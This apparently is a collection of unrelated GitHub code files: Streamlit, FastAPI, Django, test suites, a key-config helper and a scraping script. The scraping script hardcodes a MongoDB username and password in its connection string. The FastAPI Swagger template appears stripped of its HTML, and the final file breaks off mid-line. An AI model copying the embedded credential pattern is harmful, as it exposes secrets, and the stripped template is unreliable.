https://docs.opensea.io/reference/api-overview\r\n\r\nimport streamlit as sl\r\nimport requests\r\nimport json\r\nfrom web3 import Web3\r\nimport pandas as pd\r\n\r\ndef rendering(asset):\r\n if asset['name'] is not None:\r\n sl.subheader(asset['name'])\r\n else:\r\n sl.subheader(f\"{asset['collection']['name']} n° {asset['token_id']}\")\r\n \r\n if asset['description'] is not None:\r\n sl.write(asset['description'])\r\n else:\r\n sl.write(asset['collection']['description'])\r\n\r\n if asset['image_url'].endswith('mp4') or asset['image_url'].endswith('mov'):\r\n sl.video(asset['image_url'])\r\n elif asset['image_url'].endswith('svg'):\r\n svg = requests.get(asset['image_url']).content.decode()\r\n sl.image(svg)\r\n else:\r\n sl.image(asset['image_url'])\r\n\r\nmainselection = sl.sidebar.selectbox(\"Cosa Fare\",['Assets','Events','Rarity'])\r\n\r\nsl.header(f\"Esplora le API di OpenSea: {mainselection}\")\r\n\r\nif mainselection=='Assets':\r\n\r\n sl.sidebar.subheader('Filtri')\r\n\r\n collection = sl.sidebar.text_input('Collection name')\r\n\r\n owner = sl.sidebar.text_input('Owner Address')\r\n\r\n assets_url = \"https://api.opensea.io/api/v1/assets\"\r\n assets_params = {\r\n 'offset':0,\r\n 'limit':10,\r\n 'order_by':'sale_price',\r\n 'order_direction':'desc'\r\n }\r\n \r\n if collection:\r\n assets_params['collection'] = collection\r\n \r\n if owner:\r\n assets_params['owner'] = owner\r\n \r\n if owner or collection:\r\n r = requests.get(assets_url, params=assets_params).json()\r\n\r\n if len(r['assets']):\r\n #sl.write(r)\r\n\r\n for asset in r['assets']:\r\n\r\n rendering(asset)\r\n\r\n else:\r\n sl.write('Non trovo Assets con i Filtri indicati')\r\n\r\nelif mainselection=='Events':\r\n\r\n events_url = \"https://api.opensea.io/api/v1/events\"\r\n\r\n events_params = {\r\n 'only_opensea':True,\r\n 'offset':0,\r\n 'limit':10,\r\n\r\n }\r\n\r\n r = requests.get(events_url, params=events_params).json()\r\n\r\n event_list = []\r\n for event in r['asset_events']:\r\n if event['event_type'] == 'offer_entered':\r\n if event['bid_amount']:\r\n bid_amount = Web3.fromWei(int(event['bid_amount']),'ether')\r\n if event['from_account']['user']:\r\n bidder = event['from_account']['user']['username']\r\n else:\r\n bidder = event['from_account']['address']\r\n event_list.append([\r\n event['created_date'], \r\n bidder, \r\n float(bid_amount), \r\n event['asset']['collection']['name'], \r\n event['asset']['token_id']\r\n ])\r\n df = pd.DataFrame(event_list, columns=['time', 'bidder', 'bid_amount', 'collection', 'token_id'])\r\n\r\n sl.dataframe(df)\r\n\r\n\r\nelif mainselection=='Rarity':\r\n\r\n # ci serve la collezione completa da spulciare. Per scaricarla vedi collection.py\r\n with open('full_collection.json') as f:\r\n data = json.loads(f.read())\r\n asset_rarities = []\r\n\r\n for asset in data['assets']:\r\n \r\n asset_rarity = 1\r\n\r\n # qual'è la probabilità che ci siano più tratti particolari\r\n for trait in asset['traits']:\r\n trait_rarity = trait['trait_count'] / 8888\r\n asset_rarity *= trait_rarity\r\n\r\n asset_rarities.append({\r\n 'token_id':asset['token_id'],\r\n 'name':f\"the-wanderers n°{asset['token_id']}\",\r\n 'description':asset['description'],\r\n 'rarity':asset_rarity,\r\n 'traits':asset['traits'],\r\n 'image_url': asset['image_url'],\r\n 'collection':asset['collection']\r\n })\r\n\r\n assets_sorted = sorted(asset_rarities, key= lambda asset: asset['rarity'], reverse=False)\r\n\r\n for asset in assets_sorted[:10]:\r\n if asset['rarity']:\r\n sl.subheader(f\"Rarity Score: {asset['rarity']}\")\r\n rendering(asset)","repo_name":"questmapping/OpenSeaStreamlit","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70698003602","text":"# Python allows for user input, with this users can give inputs to te program\n# [Section] The input() nmethod allows the users to give inputs to the program\n\n\nuser_name = input(\"\\nPlease enter your username: \")\nprint(f\"Hello {user_name}! Welcome to the Python course\")\n\n\nnum1 = int(input(\"Enter 1st number: \"))\nnum2 = int(input(\"Enter 2nd number: \"))\n# The output is the concatenation of num1 and num2. The reason for this is the input() method assign any value as strings\n# Use typcasting to convert string into numer and proceed with the operation\nprint(f\"The sum of the two numbers is {num1 + num2}\")\n\n\n# With the user input, users can give inputs for the program to be used to control the application using control structure\n# [Section] Control Structure\n'''\n this is the multiple comment in python\n'''\n'''\n - Control structures can be divided into selection and repetition structures\n - SELECTION STRUCTURES (decision based on conditions)\n - used to execute specific set of statements based on whether a certain condition is true or false\n - if statements commonly used selection structure\n - the if statement evaluates a certain condition and execute a block of code if the condition is true\n - if-else syntax...\n\n if :\n \n else:\n \n \n - REPETITION STRUCTURES (repeats code multiple times)\n - also known as loops, are used to repeat a block of code multiple times until a certain condition is met\n - two main types:\n - for loop\n - used to iterate over a sequence of values\n - while loop\n - used to repeat a block of code as long as a certain condition is true\n\n'''\n\n# [Section] If-else statements\n# If-else statements are used to choose between two or more code blocks depending on the condition\n# Declare a variable to use for the conditional statement\n\n\nnum3 = 75\n\nif num3 >= 60:\n print(\"Congratulations! You passed the senior program\")\nelse:\n print(\"Thank you. You are not qualified to the senior program.\")\n\n# Note that in Python, curly braces ({}) are not needed to distinguish the code blocks inside the if or else block. Hence, indentations are important as Python uses indentations to distinguish parts of code as needed.\n\ntest_number = int(input(\"Please enter a number: \"))\n\nif test_number > 0:\n print(f\"{test_number} is a positive number.\")\nelif test_number == 0:\n print(f\"{test_number} is zero.\")\nelse:\n print(f\"{test_number} is a negative number.\")\n\n# Note that 'elif' is the shorthand for 'else if' in other programming language.\n\n'''\n while condition:\n - code to be executed while the condition is true\n - the condition is a boolean expression that determines whether the loop should continue executing or not.\n'''\n\n\ni = 1\n\nwhile i <= 5:\n print(f\"Current count {i}\")\n i += 1\n\n# while True:\n# print(\"This is an infinite loop!\")\n# To exit an infinite loop, press ctrl + C\n\n'''\n For loops are used for iterating over a sequence (such as lists, tuple, or string) or other iterable object and execute a block of code for each element in the sequence\n\n for element in sequence:\n - code to be executed for each element in sequence\n - element is a variable that will take on the value of each element in the sequence\n - sequence any iterable object, such as lists or string that contains the elements we want to iterate\n'''\n\nfruits = ['apple', 'banana','cherry']\n\n\n\nfor fruit in fruits:\n print(fruit)\n","repo_name":"tjl-bautista/bcs13_Bautista_s05","sub_path":"discussion.py","file_name":"discussion.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1075150605","text":"\"\"\"Provide rendering of Swagger UI with the contracts plugin included.\"\"\"\n\nimport json\nfrom typing import Optional, Dict, Any\n\nimport fastapi\nimport fastapi.openapi.docs\nfrom fastapi.encoders import jsonable_encoder\nfrom starlette.requests import Request\nfrom starlette.responses import HTMLResponse\n\n\ndef get_swagger_ui_html(\n *,\n openapi_url: str,\n title: str,\n swagger_js_url: str = \"https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui-bundle.js\",\n swagger_css_url: str = \"https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui.css\",\n swagger_favicon_url: str = \"https://fastapi.tiangolo.com/img/favicon.png\",\n swagger_ui_plugin_contracts_url: str = \"https://unpkg.com/swagger-ui-plugin-contracts\",\n oauth2_redirect_url: Optional[str] = None,\n init_oauth: Optional[Dict[str, Any]] = None,\n) -> HTMLResponse:\n \"\"\"\n Generate the HTML for Swagger UI endpoint.\n\n This is a patched version of the original fastapi.applications.get_swagger_ui_html\n which includes a separate JavaScript code to display contracts in a pretty format.\n \"\"\"\n html = f\"\"\"\n \n \n \n \n \n {title}\n \n \n
    \n
    \n \n \n \n \n \n \n \"\"\"\n return HTMLResponse(html)\n\n\ndef set_up_route_for_docs_with_contracts_plugin(\n app: fastapi.FastAPI, path: str = \"/docs\"\n) -> None:\n \"\"\"\n Set up the route for Swagger UI with included plugin swagger-ui-plugin-contracts.\n\n The path must not be set before.\n You must explicitly tell FastAPI to exclude it during initialization with:\n\n .. code-block:: python\n\n app = FastAPI(docs_url=None)\n \"\"\"\n for route in app.routes:\n if not isinstance(route, fastapi.routing.APIRoute):\n continue\n\n assert isinstance(route, fastapi.routing.APIRoute)\n\n if route.path == path and \"GET\" in route.methods:\n raise ValueError(\n f\"The FastAPI app {app} has already the route with the method 'GET' set up for \"\n f\"{path!r}. \"\n f\"No route with method 'GET' must be set for {path!r} if you want to set up \"\n f\"an alternative Swagger UI with contracts plugin.\"\n )\n\n if app.openapi_url is None:\n raise ValueError(\n f\"The FastAPI app {app} has the OpenAPI URL set to None. \"\n f\"Swagger UI with contracts plug-in can not be generated \"\n f\"if OpenAPI schema is not available.\"\n )\n\n # The part below has been adapted from fastapi.applications.FastAPI.setup()\n\n async def swagger_ui_html(req: Request) -> HTMLResponse:\n root_path = req.scope.get(\"root_path\", \"\").rstrip(\"/\")\n openapi_url = root_path + app.openapi_url\n oauth2_redirect_url = app.swagger_ui_oauth2_redirect_url\n if oauth2_redirect_url:\n oauth2_redirect_url = root_path + oauth2_redirect_url\n return get_swagger_ui_html(\n openapi_url=openapi_url,\n title=app.title + \" - Swagger UI\",\n oauth2_redirect_url=oauth2_redirect_url,\n init_oauth=app.swagger_ui_init_oauth,\n )\n\n app.add_route(path, swagger_ui_html, include_in_schema=False)\n\n if app.swagger_ui_oauth2_redirect_url:\n oauth2_already_set_up = False\n\n for route in app.routes:\n if not isinstance(route, fastapi.routing.APIRoute):\n continue\n\n assert isinstance(route, fastapi.routing.APIRoute)\n\n if (\n route.path == app.swagger_ui_oauth2_redirect_url\n and \"GET\" in route.methods\n ):\n oauth2_already_set_up = True\n\n if not oauth2_already_set_up:\n # We need to set up the Oauth2 route if it has not been already set since\n # it will be not automatically set in app.setup().\n #\n # Here is the relevant part of the app.setup() implementation:\n #\n # .. code-block:: python\n #\n # if self.openapi_url and self.docs_url:\n # ...\n # if self.swagger_ui_oauth2_redirect_url:\n # ...\n #\n\n async def swagger_ui_redirect(\n req: Request, # pylint: disable=unused-argument\n ) -> HTMLResponse:\n return fastapi.openapi.docs.get_swagger_ui_oauth2_redirect_html()\n\n app.add_route(\n app.swagger_ui_oauth2_redirect_url,\n swagger_ui_redirect,\n include_in_schema=False,\n )\n","repo_name":"mristin/fastapi-icontract","sub_path":"fastapi_icontract/swagger_ui.py","file_name":"swagger_ui.py","file_ext":"py","file_size_in_byte":5619,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"3"} +{"seq_id":"21182518553","text":"from enum import Enum, auto\nimport numpy as np\n\n\nclass Cuke(int, Enum):\n EAST_MOVING = 1\n SOUTH_MOVING = 2\n\n\nclass Direction(str, Enum):\n NORTH = auto()\n SOUTH= auto()\n EAST = auto()\n WEST = auto()\n\nclass Herd:\n\n def __init__(self, array: np.ndarray):\n\n self.array = array\n self.steps = 0\n self.moving = 1000\n\n def move_until_done(self):\n\n while self.moving > 0:\n self.moving = self.__take_step()\n self.steps += 1\n\n def __take_step(self):\n\n moving_counts = {}\n for type in [Cuke.EAST_MOVING, Cuke.SOUTH_MOVING]:\n moving_counts[type] = self.__move(type=type)\n return sum(list(moving_counts.values()))\n\n def __move(self, type: Cuke):\n\n if type == Cuke.EAST_MOVING:\n shifted = self.__shift_array(self.array, Direction.WEST)\n else:\n shifted = self.__shift_array(self.array, Direction.NORTH)\n moving = (self.array == type) & (shifted == 0)\n\n if type == Cuke.EAST_MOVING:\n moving_shifted = self.__shift_array(moving, Direction.EAST)\n else:\n moving_shifted = self.__shift_array(moving, Direction.SOUTH)\n\n self.array[moving] = 0\n self.array[moving_shifted] = Cuke.EAST_MOVING.value if type == Cuke.EAST_MOVING else Cuke.SOUTH_MOVING.value\n\n return np.sum(moving)\n\n @staticmethod\n def __shift_array(array, direction=Direction):\n\n if direction == Direction.WEST:\n shifted = np.concatenate((array[:, 1:array.shape[1]], array[:, 0][:, None]), axis=1)\n elif direction == Direction.EAST:\n shifted = np.concatenate((array[:, array.shape[1]-1][:, None], array[:, 0:array.shape[1]-1]), axis=1)\n elif direction == Direction.NORTH:\n shifted = np.concatenate((array[1:array.shape[0], :], array[0, :][None, :]), axis=0)\n else:\n shifted = np.concatenate((array[array.shape[0]-1,:][None, :], array[:array.shape[0] - 1, :]), axis=0)\n\n return shifted\n\n\ndef read_file(filename):\n\n with open(filename, 'r') as f:\n data = f.read().rstrip('\\n').split('\\n')\n\n rows = []\n while data:\n\n rows.append([0 if c == '.' else 1 if c == '>' else 2 for c in data[0]])\n data = data[1:]\n\n array = np.array(rows)\n return array\n\nif __name__ == \"__main__\":\n\n filename = 'input/Day25.txt'\n\n herd = Herd(read_file(filename))\n herd.move_until_done()\n print(f'The answer to part one is {herd.steps}')\n","repo_name":"ruthcaswellsmith/AdventofCode2021","sub_path":"Day25.py","file_name":"Day25.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34513106761","text":"import vtk\nimport mooseutils\nfrom ChiggerFilterBase import ChiggerFilterBase\nfrom ..exodus import ExodusReader\nclass ContourFilter(ChiggerFilterBase):\n \"\"\"\n Filter for computing and visualizing contours.\n \"\"\"\n\n @staticmethod\n def getOptions():\n opt = ChiggerFilterBase.getOptions()\n opt.add('count', 10, \"The number of contours to be automatically generated between the \"\n \"specified range.\", vtype=int)\n opt.add('levels', None, \"Explicitly define the contour levels, if this options is \"\n \"provided 'count' is ignored.\", vtype=list)\n return opt\n\n def __init__(self, **kwargs):\n super(ContourFilter, self).__init__(vtkfilter_type=vtk.vtkContourFilter, **kwargs)\n\n def update(self, **kwargs):\n \"\"\"\n Computes the contour levels for the vtkContourFilter.\n \"\"\"\n super(ContourFilter, self).update(**kwargs)\n\n varinfo = self._source.getCurrentVariableInformation()\n if varinfo.object_type != ExodusReader.NODAL:\n raise mooseutils.MooseException('ContourFilter currently only works with nodal '\n 'variables.')\n\n self._vtkfilter.SetInputArrayToProcess(0, 0, 0, vtk.vtkDataObject.FIELD_ASSOCIATION_POINTS,\n varinfo.name)\n\n if self.isOptionValid('levels'):\n levels = self.getOption('levels')\n n = len(levels)\n self._vtkfilter.SetNumberOfContours(n)\n for i in range(n):\n self._vtkfilter.SetValue(i, levels[i])\n elif self.isOptionValid('count'):\n rng = self._source.getVTKMapper().GetScalarRange()\n self._vtkfilter.GenerateValues(self.getOption('count'), rng)\n else:\n mooseutils.MooseException('Either the \"levels\" or the \"count\" options must be used.')\n","repo_name":"mazajump/FEA-PhaseField-Moose","sub_path":"python/chigger/filters/ContourFilter.py","file_name":"ContourFilter.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"3775612102","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns=[\n path(\"add_Delegate\", views.add_Delegate, name=\"add_Delegate\"),\n path(\"list_Delegate\", views.list_Delegate, name=\"list_Delegate\"),\n path(\"update_Delegate/\", views.update_Delegate, name=\"update_Delegate\"),\n path(\"delete_Delegate/\", views.delete_Delegate, name=\"delete_Delegate\"),\n path(\"add_Order\", views.add_Order, name=\"add_Order\"),\n path(\"list_Orders\", views.list_Orders, name=\"list_Orders\"),\n path(\"update_Order/\", views.update_Order, name=\"update_Order\"),\n path(\"delete_Order/\", views.delete_Order, name=\"delete_Order\"),\n path(\"add_AppRating\", views.add_AppRating, name=\"add_AppRating\"),\n path(\"delete_AppRating/\", views.delete_AppRating, name=\"delete_AppRating\"),\n path(\"add_DelegateRating\", views.add_DelegateRating, name=\"add_DelegateRating\"),\n path(\"delete_DelegateRating/\", views.delete_DelegateRating, name=\"delete_DelegateRating\"),\n path(\"Cancelling_Order\", views.Cancelling_Order, name=\"Cancelling_Order\"),\n]\n\n","repo_name":"Mashbariali/Full-Stack-Final","sub_path":"Back-End/DeliveryProject/DeliveryApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"6186567477","text":"from test.integrationtests.skills.skill_tester import SkillTest\n\nimport mock\n\n\n@mock.patch(\"mycroft.skills.mycroft_skill.mycroft_skill.DeviceApi.send_email\")\ndef test_runner(skill, example, emitter, loader, m1):\n def side_effect(title, body, skill):\n print(\"Sending e-mail\")\n\n m1.side_effect = side_effect\n s = [s for s in loader.skills if s and s.root_dir == skill][0]\n with mock.patch(s.__module__ + \".ThreadedRecorder\"):\n return SkillTest(skill, example, emitter).run(loader)\n","repo_name":"MycroftAI/mycroft-dinkum","sub_path":"skills/support.mark2/test/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"} +{"seq_id":"69793636561","text":"#coding: utf8\nfrom __future__ import absolute_import\nfrom farbox_bucket.utils import to_unicode\nfrom farbox_bucket.utils.encrypt.key_encrypt import get_public_key_from_private_key, create_private_public_keys\nfrom farbox_bucket.bucket import get_bucket_by_public_key\nimport ujson as json\nimport os\n\n\ndef get_home_path():\n home_path = ''\n if os.environ.get('HOME'):\n home_path = to_unicode(os.environ['HOME'])\n if not os.path.exists(home_path):\n home_path = ''\n if not home_path:\n home_path = '/var'\n return home_path\n\n\n\ndef get_projects_config_filepath():\n home_path = get_home_path()\n config_filepath = os.path.join(home_path, '.farbox_bucket_projects.json')\n return config_filepath\n\n\n\ndef get_projects_config():\n config_filepath = get_projects_config_filepath()\n if not os.path.isfile(config_filepath):\n projects_config = {}\n else:\n with open(config_filepath, 'rb') as f:\n projects_config_content = f.read()\n try:\n projects_config = json.loads(projects_config_content)\n if not isinstance(projects_config, dict):\n projects_config = {}\n except:\n projects_config = {}\n return projects_config\n\n\n\ndef write_projects_config(projects_config):\n projects_config_data = json.dumps(projects_config, indent=4)\n config_filepath = get_projects_config_filepath()\n with open(config_filepath, 'wb') as f:\n f.write(projects_config_data)\n\n\n\ndef save_project_config(project, private_key, public_key=None, node=None):\n if not private_key:\n return\n if not public_key:\n public_key = get_public_key_from_private_key(private_key, is_clean=False)\n if not private_key or not public_key:\n print('no private_key or no public_key, save project config failed')\n return #ignore\n bucket = get_bucket_by_public_key(public_key)\n projects_config = get_projects_config()\n current_project_config = dict(\n bucket = bucket,\n private_key = private_key,\n public_key = public_key,\n node = node,\n )\n project = project.strip()\n projects_config[project] = current_project_config\n\n write_projects_config(projects_config)\n\n return current_project_config\n\n\ndef update_project_config(project, k, v):\n # 主要是更新 node 信息的\n project_config = get_project_config(project)\n if not project_config or not project_config.get('private_key'):\n # 确保 project 的存在\n create_project(project)\n projects_config = get_projects_config()\n project_config = projects_config.get(project) or {}\n if not isinstance(project_config, dict):\n project_config = {}\n project_config[k] = v\n projects_config[project] = project_config\n write_projects_config(projects_config)\n\n\n\n\ndef get_project_config(project, as_list=False, auto_create=False):\n project = project.strip()\n projects_config = get_projects_config()\n project_config = projects_config.get(project) or {}\n if not project_config and auto_create: # 自动创建一个 project, 也就是产生一个随机的 private_key\n project_config = create_project(project)\n if not isinstance(project_config, dict):\n project_config = {}\n if as_list:\n bucket = project_config.get('bucket')\n private_key = project_config.get('private_key')\n public_key = project_config.get('public_key')\n node = project_config.get('node')\n return node, bucket, private_key, public_key\n else:\n return project_config\n\n\ndef get_project_private_key(project):\n project_config = get_project_config(project, auto_create=True)\n return project_config.get('private_key')\n\n\ndef get_project_public_key(project):\n project_config = get_project_config(project, auto_create=True)\n return project_config.get('public_key')\n\ndef get_project_bucket(project):\n project_config = get_project_config(project)\n return project_config.get('bucket')\n\n\n\n\ndef create_project(project, node=None):\n private_key, public_key = create_private_public_keys(is_clean=False)\n project_config = save_project_config(project, private_key, public_key=public_key, node=node)\n return project_config\n\n\n\ndef load_project(project, private_key, node=None):\n # 根据提供的 private_key, 将 project 的设置保存到本地\n project_config = save_project_config(project, private_key=private_key, node=node)\n return project_config\n\n\n\ndef set_project_node(project, node):\n if '://' in node:\n node = node.split('://')[-1]\n update_project_config(project, 'node', node)\n\n\n\n\ndef show_project(project):\n # 显示 project 的信息\n node, bucket, private_key, public_key = get_project_config(project, as_list=True)\n print('node: %s\\nbucket:%s\\n\\n'%(node, bucket))\n print(private_key)\n print('\\n'*3)\n print(public_key)\n\n\n\ndef show_projects():\n projects_config = get_projects_config()\n for project_name, project_config in projects_config.items():\n bucket = project_config.get('bucket')\n node = project_config.get('node') or ''\n print('%s\\nbucket: %s\\nnode: %s\\n\\n' % (project_name, bucket, node))\n\n\n\n","repo_name":"hepochen/FarBox","sub_path":"farbox_bucket/client/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":5185,"program_lang":"python","lang":"en","doc_type":"code","stars":155,"dataset":"github-code","pt":"3"} +{"seq_id":"4394830945","text":"from tests.common import * # dupi/tests/common\n\nimport io\nimport re\nimport sys\n\nfrom pyfakefs import fake_filesystem_unittest\n\nfrom dupi import conf, core\nfrom dupi.commands import dispatch\nfrom dupi.index import Index\n\n\nclass TestCommands(fake_filesystem_unittest.TestCase):\n\n # Override run() to wrap each test in a context redirecting stderr\n def run(self, result=None):\n err_out = io.StringIO()\n with redirect_stderr(err_out):\n super().run(result)\n\n def setUp(self):\n self.setUpPyfakefs()\n\n # Touch the default index file location on fake filesystem,\n # to be sure parent dir structure exists.\n self.fs.CreateFile(conf.index_file, create_missing_dirs=True)\n\n def test_update_command(self):\n self.fs.CreateFile('/test/file1', contents='abc')\n self.fs.CreateFile('/test/file2', contents='abc')\n\n index = Index(conf.index_file)\n\n params = {'dirs': ['/test']}\n dispatch(index, 'update', **params)\n\n self.fs.RemoveObject('/test/file2')\n dispatch(index, 'update')\n\n self.assertEqual(1, len(index.all()))\n\n def test_report_command(self):\n self.fs.CreateFile('/test/file1', contents='abc')\n self.fs.CreateFile('/test/file2', contents='abc')\n self.fs.CreateFile('/test/file3', contents='defg')\n self.fs.CreateFile('/test/file4', contents='hijk')\n self.fs.CreateFile('/test/afile', contents='abc')\n\n _old_stdout = sys.stdout\n stdout_cap = io.StringIO()\n sys.stdout = stdout_cap\n\n index = Index(conf.index_file)\n core.update_index(index, ['/test'])\n dispatch(index, 'report')\n\n sys.stdout = _old_stdout\n\n # Just check that three lines got written..\n self.assertEqual(3, len(stdout_cap.getvalue().strip().split(\"\\n\")))\n\n def test_report_stats(self):\n self.fs.CreateFile('/test/file1', contents='abc')\n self.fs.CreateFile('/test/file2', contents='abc')\n self.fs.CreateFile('/test/file3', contents='defg')\n self.fs.CreateFile('/test/file4', contents='hijk')\n self.fs.CreateFile('/test/afile', contents='abc')\n\n _old_stdout = sys.stdout\n stdout_cap = io.StringIO()\n sys.stdout = stdout_cap\n\n index = Index(conf.index_file)\n core.update_index(index, ['/test'])\n dispatch(index, 'stats')\n\n sys.stdout = _old_stdout\n\n self.assertRegex(stdout_cap.getvalue(),\n re.compile('file records', re.M))\n","repo_name":"jleverenz/dupi","sub_path":"tests/test_commands.py","file_name":"test_commands.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"29439381926","text":"from collections.abc import Iterable\n\n\ndef remove_all_before(items: list, border: int) -> Iterable:\n if border in items:\n return items[items.index(border):]\n else:\n return items\n\n\nprint(\"Example:\")\nprint(list(remove_all_before([1, 2, 3, 4, 5], 3)))\n\n# These \"asserts\" are used for self-checking\nassert list(remove_all_before([1, 2, 3, 4, 5], 3)) == [3, 4, 5]\nassert list(remove_all_before([1, 1, 2, 2, 3, 3], 2)) == [2, 2, 3, 3]\nassert list(remove_all_before([1, 1, 2, 4, 2, 3, 4], 2)) == [2, 4, 2, 3, 4]\nassert list(remove_all_before([1, 1, 5, 6, 7], 2)) == [1, 1, 5, 6, 7]\nassert list(remove_all_before([], 0)) == []\nassert list(remove_all_before([7, 7, 7, 7, 7, 7, 7, 7, 7], 7)) == [\n 7,\n 7,\n 7,\n 7,\n 7,\n 7,\n 7,\n 7,\n 7,\n]\n\nprint(\"The mission is done! Click 'Check Solution' to earn rewards!\")\n","repo_name":"s1YH0pper/study-python","sub_path":"checkio train/Remove All Before.py","file_name":"Remove All Before.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"6042937366","text":"from django.contrib.auth import get_user_model\nfrom django.urls import reverse\nfrom django.test import TestCase\n\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\n\nfrom core.models import BookmarkDetail\nfrom bookmark.serializers import BookmarkDetailSerializer\n\nBOOKMARK_DETAILS_URL = reverse('bookmark:detail')\n\n\nclass PublicBookmarkDetailsApiTests(TestCase):\n\n def setUp(self):\n self.client = APIClient()\n\n def test_login_required(self):\n res = self.client.get(BOOKMARK_DETAILS_URL)\n\n self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)\n\n\nclass PrivateBookmarkDetailsApiTests(TestCase):\n\n def setUp(self):\n self.client = APIClient()\n self.user = get_user_model().object.create_user(\n 'test@test.com',\n 'testpass'\n )\n\n self.client.force_authenticate(self.user)\n\n def test_retrieve_bookmark_details(self):\n \n BookmarkDetail.objects.create(user=self.user, name='Salt')\n BookmarkDetail.objects.create(user=self.user, name='Ploo')\n\n res = self.client.get(BOOKMARK_DETAILS_URL)\n\n bookmarkDetails = BookmarkDetail.objects.all().order_by('-name')\n\n serializer = BookmarkDetailSerializer(bookmarkDetails, many=True)\n self.assertEquals(res.data, serializer.data)\n\n def test_bookmark_details_limited_to_user(self):\n\n user2 = get_user_model().object.create_user(\n 'test2@test.com',\n 'testt22')\n\n BookmarkDetail.objects.create(user=self.user, name='Salt')\n detail = BookmarkDetail.objects.create(user=self.user2, name='JOIL')\n\n res = self.client.get(BOOKMARK_DETAILS_URL)\n\n self.assertEqual(len(res.data), 1)\n self.assertEqual(res.data[0]['name'], detail.name)\n\n def test_create_bookmark_detail(self):\n\n payload = {'name': 'Coco'}\n\n self.client.post(BOOKMARK_DETAILS_URL, payload)\n\n exists = BookmarkDetail.objects.filter(\n user=self.user,\n name=payload['name']\n ).exists()\n\n self.assertTrue(exists)","repo_name":"Shahroz16/bookmark-app-api","sub_path":"app/bookmark/tests/test_bookmark_details_api.py","file_name":"test_bookmark_details_api.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"8701658136","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 28 19:08:45 2023\r\n\r\n@author: shubh\r\n\"\"\"\r\n\r\nimport os\r\nfrom selenium import webdriver\r\nimport pymongo\r\nimport time\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nimport re\r\nimport json\r\nimport pandas as pd\r\n\r\n#change directory as per requirement. \r\n#Please ensure chromedriver is in the specified directory\r\ndef change_working_directory():\r\n path = input(\"Please enter the directory and ensure that chrome driver is in the directory (without quotes): \")\r\n os.chdir(path)\r\n wd = os.getcwd()\r\n print(f\"Changed working directory to: {os.getcwd()}\")\r\n return wd\r\n\r\nwd = change_working_directory()\r\n\r\n#2\r\ndef part_2(wd):\r\n chrome_driver_path = os.path.join(wd,'chromedriver')\r\n driver = webdriver.Chrome(executable_path=chrome_driver_path)\r\n driver.get(\"https://opensea.io/collection/boredapeyachtclub?search[sortAscending]=false&search[stringTraits][0][name]=Fur&search[stringTraits][0][values][0]=Solid%20Gold\")\r\n for i in range(8):\r\n elements = driver.find_elements_by_class_name(\"sc-29427738-0.sc-e7851b23-1.dVNeWL.hfa-DJE.Asset--loaded\")\r\n element = elements[i]\r\n driver.execute_script(\"arguments[0].scrollIntoView(true);\", element)\r\n element.click()\r\n time.sleep(20)\r\n with open(f'bayc_{i+1}.html','w',encoding = 'utf-8') as f:\r\n f.write(driver.page_source)\r\n driver.back()\r\n driver.quit()\r\npart_2(wd)\r\n\r\n#3\r\ndef part_3(wd):\r\n #change if required\r\n username = 'shubham1510'\r\n password = 'SK1510'\r\n con = 'mongodb+srv://' + username + ':' + password + '@cluster0.bv6w4n5.mongodb.net/?retryWrites=true&w=majority'\r\n client=pymongo.MongoClient(con)\r\n db = client['individual_assignment_2']\r\n collection = db['bayc']\r\n soups = []\r\n ape_names = []\r\n attributes = {}\r\n for i in range(1,9):\r\n filename = f\"bayc_{i}.html\"\r\n filepath = os.path.join(wd, filename)\r\n pages = open(filepath,'r', encoding = 'utf-8').read()\r\n soups.append(BeautifulSoup(pages,'html.parser'))\r\n ape_names.append(soups[i-1].find('h1', {'class': 'sc-29427738-0 hKCSVX item--title'}).text.strip())\r\n soup = BeautifulSoup(pages,'html.parser')\r\n divs = soup.find_all('div', {'class': 'sc-d6dd8af3-0 hkmmpQ item--property'})\r\n text = [div.text for div in divs]\r\n attributes[ape_names[i-1]] = text\r\n df = pd.DataFrame.from_dict(attributes, orient='index')\r\n df = df.rename(columns=lambda x: f'trait_{x+1}')\r\n df = df.reset_index().rename(columns={'index': 'ape_id'})\r\n df_dict = df.to_dict('records')\r\n collection.insert_many(df_dict)\r\npart_3(wd)\r\n\r\n#4\r\ndef part_4(wd):\r\n url = 'https://www.yellowpages.com/search?'\r\n params = {'search_terms':'pizzeria','geo_location_terms':'San Francisco, CA'}\r\n response = requests.get(url, params=params,headers ={\"user-agent\": \"Mozilla/5.0\"})\r\n with open('sf_pizzeria_search_page.html', 'w', encoding = 'utf-8') as f:\r\n f.write(response.text)\r\n f.close()\r\npart_4(wd)\r\n#5\r\ndef part_5(wd):\r\n page = open('sf_pizzeria_search_page.html','r', encoding = 